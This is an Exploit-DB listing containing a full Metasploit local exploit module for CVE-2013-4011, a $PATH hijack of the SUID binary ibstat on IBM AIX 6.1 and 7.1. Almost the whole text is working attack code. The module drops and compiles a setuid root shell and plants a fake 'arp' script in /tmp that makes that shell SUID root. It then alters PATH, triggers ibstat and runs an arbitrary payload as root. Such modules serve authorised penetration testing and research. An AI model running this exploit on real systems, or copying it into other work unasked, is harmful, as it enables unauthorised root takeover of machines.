ibstat $PATH - Privilege Escalation



EDB-ID: 32700 CVE: 2013-4011 OSVDB-ID: 95420
Author: metasploit Published: 2014-04-04 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local

  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      "Name" => "ibstat $PATH Privilege Escalation",
      "Description" => %q{
        This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
      },
      "Author" => [
        "Kristian Erik Hermansen", #original author
        "Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>", #Metasploit module
        "Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>" #Metasploit module
      ],
      "References" => [
        ["CVE", "2013-4011"],
        ["OSVDB", "95420"],
        ["BID", "61287"],
        ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"],
        ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"]
      ],
      "Platform" => ["unix"],
      "Arch" => ARCH_CMD,
      "Payload" => {
        "Compat" => {
          "PayloadType" => "cmd",
          "RequiredCmd" => "perl"
        }
      },
      "Targets" => [
        ["IBM AIX Version 6.1", {}],
        ["IBM AIX Version 7.1", {}]
      ],
      "DefaultTarget" => 1,
      "DisclosureDate" => "Sep 24 2013"
    ))

    register_options([
      OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
    ], self.class)
  end

  def check
    find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null")

    if find_output.include?("ibstat")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    else
      print_good("Target is vulnerable.")
    end

    root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
    arp_file = "#{datastore["WritableDir"]}/arp"
    c_file = %Q^#include <stdio.h>

int main()
{
   setreuid(0,0);
   setregid(0,0);
   execve("/bin/sh",NULL,NULL);
   return 0;
}
^
    arp = %Q^#!/bin/sh

chown root #{root_file}
chmod 4555 #{root_file}
^

    if gcc_installed?
      print_status("Dropping file #{root_file}.c...")
      write_file("#{root_file}.c", c_file)

      print_status("Compiling source...")
      cmd_exec("gcc -o #{root_file} #{root_file}.c")
      print_status("Compilation completed")

      register_file_for_cleanup("#{root_file}.c")
    else
      cmd_exec("cp /bin/sh #{root_file}")
    end

    register_file_for_cleanup(root_file)

    print_status("Writing custom arp file...")
    write_file(arp_file,arp)
    register_file_for_cleanup(arp_file)
    cmd_exec("chmod 0555 #{arp_file}")
    print_status("Custom arp file written")

    print_status("Updating $PATH environment variable...")
    path_env = cmd_exec("echo $PATH")
    cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
    cmd_exec("export PATH")

    print_status("Triggering vulnerablity...")
    cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")

    # The $PATH variable must be restored before the payload is executed
    # in cases where an euid root shell was gained
    print_status("Restoring $PATH environment variable...")
    cmd_exec("PATH=#{path_env}")
    cmd_exec("export PATH")

    cmd_exec(root_file)
    print_status("Checking root privileges...")

    if is_root?
      print_status("Executing payload...")
      cmd_exec(payload.encoded)
    end
  end

  def gcc_installed?
    print_status("Checking if gcc exists...")
    gcc_whereis_output = cmd_exec("whereis -b gcc")

    if gcc_whereis_output.include?("/")
      print_good("gcc found!")
      return true
    end

    print_status("gcc not found. Using /bin/sh from local system")
    false
  end

  def is_root?
    id_output = cmd_exec("id")

    if id_output.include?("euid=0(root)")
      print_good("Got root! (euid)")
      return true
    end
    if id_output.include?("uid=0(root)")
      print_good("Got root!")
      return true
    end

    print_status("Exploit failed")
    false
  end

end